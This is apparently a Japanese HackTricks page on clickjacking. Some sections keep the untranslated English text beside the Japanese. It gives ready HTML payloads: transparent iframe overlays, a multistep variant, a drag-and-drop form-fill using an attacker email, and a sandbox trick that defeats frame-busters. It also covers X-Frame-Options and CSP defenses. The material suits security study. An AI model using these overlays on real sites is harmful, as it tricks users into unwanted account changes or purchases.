19 KiB
クリックジャッキング
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- サイバーセキュリティ企業で働いていますか? HackTricksで会社を宣伝したいですか?または、PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロードしたいですか?SUBSCRIPTION PLANSをチェックしてください!
- The PEASS Familyを見つけてください。独占的なNFTのコレクションです。
- 公式のPEASS&HackTricksのグッズを手に入れましょう。
- 💬 Discordグループまたはtelegramグループに参加するか、Twitterでフォローしてください🐦@carlospolopm。
- ハッキングのトリックを共有するには、PRを hacktricks repo と hacktricks-cloud repo に提出してください。
Trickestを使用して、世界で最も高度なコミュニティツールによって強化されたワークフローを簡単に構築して自動化できます。
今すぐアクセスを取得:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
クリックジャッキングとは
クリックジャッキングは、ユーザーを騙して別の要素として見えないまたは別の要素に偽装されたウェブページの要素をクリックさせる攻撃です。これにより、ユーザーは知らずにマルウェアをダウンロードしたり、悪意のあるウェブページを訪れたり、資格情報や機密情報を提供したり、お金を送金したり、オンラインで商品を購入したりすることがあります(ここから)。
フォームの事前入力トリック
時には、ページの読み込み時にGETパラメータを使用してフォームのフィールドの値を自動的に入力することができます。攻撃者はこの動作を悪用して、フォームに任意のデータを入力し、クリックジャッキングペイロードを送信してユーザーがボタンを押すようにします。
ドラッグ&ドロップでフォームを入力する
ユーザーにフォームを入力してもらいたいが、特定の情報(メールアドレスや特定のパスワードなど)を直接尋ねることはしたくない場合は、この例のように、制御されたデータを書き込む何かをドラッグ&ドロップするようにユーザーに依頼することができます。
基本的なペイロード
<style>
iframe {
position:relative;
width: 500px;
height: 700px;
opacity: 0.1;
z-index: 2;
}
div {
position:absolute;
top:470px;
left:60px;
z-index: 1;
}
</style>
<div>Click me</div>
<iframe src="https://vulnerable.com/email?email=asd@asd.asd"></iframe>
マルチステップペイロード
In some cases, a simple clickjacking attack may not be enough to achieve the desired outcome. In such situations, a multistep payload can be used to execute a series of actions on the victim's behalf.
いくつかの場合において、単純なクリックジャッキング攻撃では望ましい結果を得ることができないことがあります。そのような状況では、マルチステップペイロードを使用して、被害者の代わりに一連のアクションを実行することができます。
The idea behind a multistep payload is to trick the victim into performing a series of actions that they may not have intended to do. This can be achieved by overlaying multiple transparent iframes on top of each other, each containing a different target element.
マルチステップペイロードのアイデアは、被害者を騙して意図しなかった一連のアクションを実行させることです。これは、透明な複数のiframeを重ね合わせ、それぞれが異なるターゲット要素を含んでいることによって実現できます。
When the victim clicks on the visible target element, they are actually clicking on the hidden target element in the iframe below. This can be repeated multiple times, creating a chain of actions that the victim unknowingly performs.
被害者が表示されているターゲット要素をクリックすると、実際には下のiframe内の非表示のターゲット要素をクリックしています。これを複数回繰り返すことで、被害者が知らずに実行するアクションの連鎖を作成することができます。
By carefully designing the multistep payload, an attacker can manipulate the victim into performing actions such as submitting forms, making purchases, or even granting permissions that they would not have done willingly.
マルチステップペイロードを注意深く設計することで、攻撃者は被害者に対して、フォームの送信、購入の実行、さらには意図的に行わなかった権限の付与などのアクションを実行させることができます。
It is important to note that multistep payloads can be more complex to implement and may require additional knowledge of the target application's functionality and behavior.
マルチステップペイロードは実装がより複雑であり、対象アプリケーションの機能と動作に関する追加の知識が必要な場合があることに注意してください。
<style>
iframe {
position:relative;
width: 500px;
height: 500px;
opacity: 0.1;
z-index: 2;
}
.firstClick, .secondClick {
position:absolute;
top:330px;
left:60px;
z-index: 1;
}
.secondClick {
left:210px;
}
</style>
<div class="firstClick">Click me first</div>
<div class="secondClick">Click me next</div>
<iframe src="https://vulnerable.net/account"></iframe>
ドラッグ&ドロップ + クリックのペイロード
Clickjacking attacks can be enhanced by combining them with drag and drop functionality. This technique involves tricking the user into dragging and dropping an element onto a hidden button or link, which triggers a malicious action without the user's knowledge.
To perform a drag and drop + click attack, follow these steps:
-
Identify the target element: Find the element that you want the user to interact with, such as a button or link.
-
Create a hidden button or link: Create a hidden button or link that will be triggered when the user drags and drops the target element onto it. This can be done by positioning the button or link off-screen or using CSS to hide it.
-
Implement the drag and drop functionality: Use JavaScript to enable drag and drop functionality on the target element. This can be done using the HTML5 Drag and Drop API or a JavaScript library like jQuery UI.
-
Handle the drop event: When the user drops the target element onto the hidden button or link, handle the drop event and trigger the desired action. This can be done by attaching an event listener to the hidden button or link.
-
Test the attack: Test the attack by interacting with the target element and verifying that the malicious action is triggered.
By combining drag and drop functionality with clickjacking, attackers can increase the effectiveness of their attacks and deceive users into performing unintended actions. It is important for developers to be aware of this technique and implement appropriate security measures to prevent clickjacking attacks.
<html>
<head>
<style>
#payload{
position: absolute;
top: 20px;
}
iframe{
width: 1000px;
height: 675px;
border: none;
}
.xss{
position: fixed;
background: #F00;
}
</style>
</head>
<body>
<div style="height: 26px;width: 250px;left: 41.5%;top: 340px;" class="xss">.</div>
<div style="height: 26px;width: 50px;left: 32%;top: 327px;background: #F8F;" class="xss">1. Click and press delete button</div>
<div style="height: 30px;width: 50px;left: 60%;bottom: 40px;background: #F5F;" class="xss">3.Click me</div>
<iframe sandbox="allow-modals allow-popups allow-forms allow-same-origin allow-scripts" style="opacity:0.3"src="https://target.com/panel/administration/profile/"></iframe>
<div id="payload" draggable="true" ondragstart="event.dataTransfer.setData('text/plain', 'attacker@gmail.com')"><h3>2.DRAG ME TO THE RED BOX</h3></div>
</body>
</html>
XSS + クリックジャッキング
ユーザーがクリックする必要がある XSS 攻撃 を特定し、ページが クリックジャッキングの脆弱性 を持っている場合、ユーザーを騙してボタン/リンクをクリックさせることで悪用することができます。
例:
アカウントの一部のプライベートな詳細情報(あなただけが設定および読み取り可能な詳細情報)に セルフ XSS を見つけました。これらの詳細を設定するためのページは クリックジャッキングの脆弱性 を持っており、GET パラメータで フォーム を 事前に入力 することができます。
__攻撃者は、そのページに対して クリックジャッキング攻撃 を準備し、XSS ペイロード を フォーム に 事前に入力 して ユーザー を フォームを送信 するように 騙す ことができます。そのため、フォームが送信されると 値が変更され、ユーザーが XSS を実行 します。
クリックジャッキングを回避する方法
クライアント側の防御策
クリックジャッキングを防ぐために、クライアント側で以下の動作を行うスクリプトを実行することができます。
- 現在のアプリケーションウィンドウがメインまたはトップウィンドウであることを確認および強制する
- すべてのフレームを表示する
- 不可視フレームをクリックできないようにする
- ユーザーに対して潜在的なクリックジャッキング攻撃を検出および通知する
バイパス
フレームバスターは JavaScript であるため、ブラウザのセキュリティ設定によってその動作が阻止される場合があります。また、ブラウザが JavaScript をサポートしていない場合もあります。フレームバスターに対する効果的な攻撃者の回避策は、HTML5 の iframe sandbox
属性 を使用することです。この属性を allow-forms
または allow-scripts
の値で設定し、allow-top-navigation
の値を省略すると、フレームバスタースクリプトは中断されます。なぜなら、iframe は自身がトップウィンドウであるかどうかをチェックできないからです。
<iframe id="victim_website" src="https://victim-website.com" sandbox="allow-forms allow-scripts"></iframe>
allow-forms
とallow-scripts
の両方の値は、iframe内で指定されたアクションを許可しますが、トップレベルのナビゲーションは無効になります。これにより、ターゲットサイト内の機能は許可されますが、フレームの破壊行為は防止されます。
実行するClickjacking攻撃のタイプによっては、allow-same-origin
とallow-modals
、またはさらに多くの設定が必要になる場合があります。攻撃を準備する際には、ブラウザのコンソールを確認して、他の設定が必要かどうかを確認してください。
X-Frame-Options
X-Frame-Options
HTTPレスポンスヘッダーは、ブラウザがページを<frame>
または<iframe>
でレンダリングするかどうかを示すために使用されます。サイトはこれを使用して、自身のコンテンツが他のサイトに埋め込まれないようにすることで、Clickjacking攻撃を回避できます。すべてのHTMLコンテンツを含むレスポンスに対して**X-Frame-Options
ヘッダーを設定**します。可能な値は次のとおりです。
X-Frame-Options: deny
は、どのドメインからもコンテンツのフレーム化を防止します(推奨値)X-Frame-Options: sameorigin
は、現在のサイトのみがコンテンツをフレーム化できるようにします。X-Frame-Options: allow-from https://trusted.com
は、指定された「uri」がこのページをフレーム化できるようにします。- ブラウザがサポートしていない場合、これはオープンに失敗しますので、以下の制限を確認してください。
- 他のブラウザは新しいCSP frame-ancestorsディレクティブもサポートしています。一部のブラウザは両方をサポートしています。
Content Security Policy(CSP)frame-ancestorsディレクティブ
推奨されるClickjacking保護は、アプリケーションのContent Security Policyに**frame-ancestorsディレクティブ
**を組み込むことです。
**frame-ancestors 'none'
**ディレクティブは、**X-Frame-Options deny
**ディレクティブと同様の動作をします(誰もページをフレーム化できません)。
**frame-ancestors 'self'
**ディレクティブは、**X-Frame-Options sameorigin
**ディレクティブとほぼ同等です(現在のサイトのみがフレーム化できます)。
**frame-ancestors trusted.com
**ディレクティブは、X-Frame-Options allow-from
ディレクティブとほぼ同等です(信頼されたサイトのみがフレーム化できます)。
以下のCSPは、同じドメインのフレームのみをホワイトリストに登録します。
Content-Security-Policy: frame-ancestors 'self';
詳細やより複雑な例については、以下のドキュメントを参照してください。
- https://w3c.github.io/webappsec-csp/document/#directive-frame-ancestors
- https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy/frame-ancestors
制限
- ブラウザのサポート: CSP frame-ancestorsは、まだすべての主要なブラウザでサポートされていません。
- X-Frame-Optionsが優先される: CSP仕様の「関連付けX-Frame-Options」セクションは、「frame-ancestorsディレクティブを含むポリシーがリソースとともに配信され、その配置が「強制」である場合、X-Frame-Optionsヘッダーは無視される必要がある」と述べていますが、Chrome 40とFirefox 35はframe-ancestorsディレクティブを無視し、代わりにX-Frame-Optionsヘッダーに従います。
参考文献
- https://portswigger.net/web-security/clickjacking
- https://cheatsheetseries.owasp.org/cheatsheets/Clickjacking_Defense_Cheat_Sheet.html
Trickestを使用して、世界で最も高度なコミュニティツールによって強化されたワークフローを簡単に構築および自動化できます。
今すぐアクセスを取得:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- サイバーセキュリティ企業で働いていますか? HackTricksで会社を宣伝したいですか?または、最新バージョンのPEASSを入手したいですか?または、HackTricksをPDFでダウンロードしたいですか?SUBSCRIPTION PLANSをチェックしてください!
- The PEASS Familyをご覧ください。独占的なNFTのコレクションです。
- 公式のPEASS&HackTricksグッズを手に入れましょう。
- 💬 DiscordグループまたはTelegramグループに参加するか、Twitter 🐦@carlospolopmをフォローしてください。
- ハッキングのトリックを共有するには、hacktricks repo と hacktricks-cloud repo にPRを提出してください。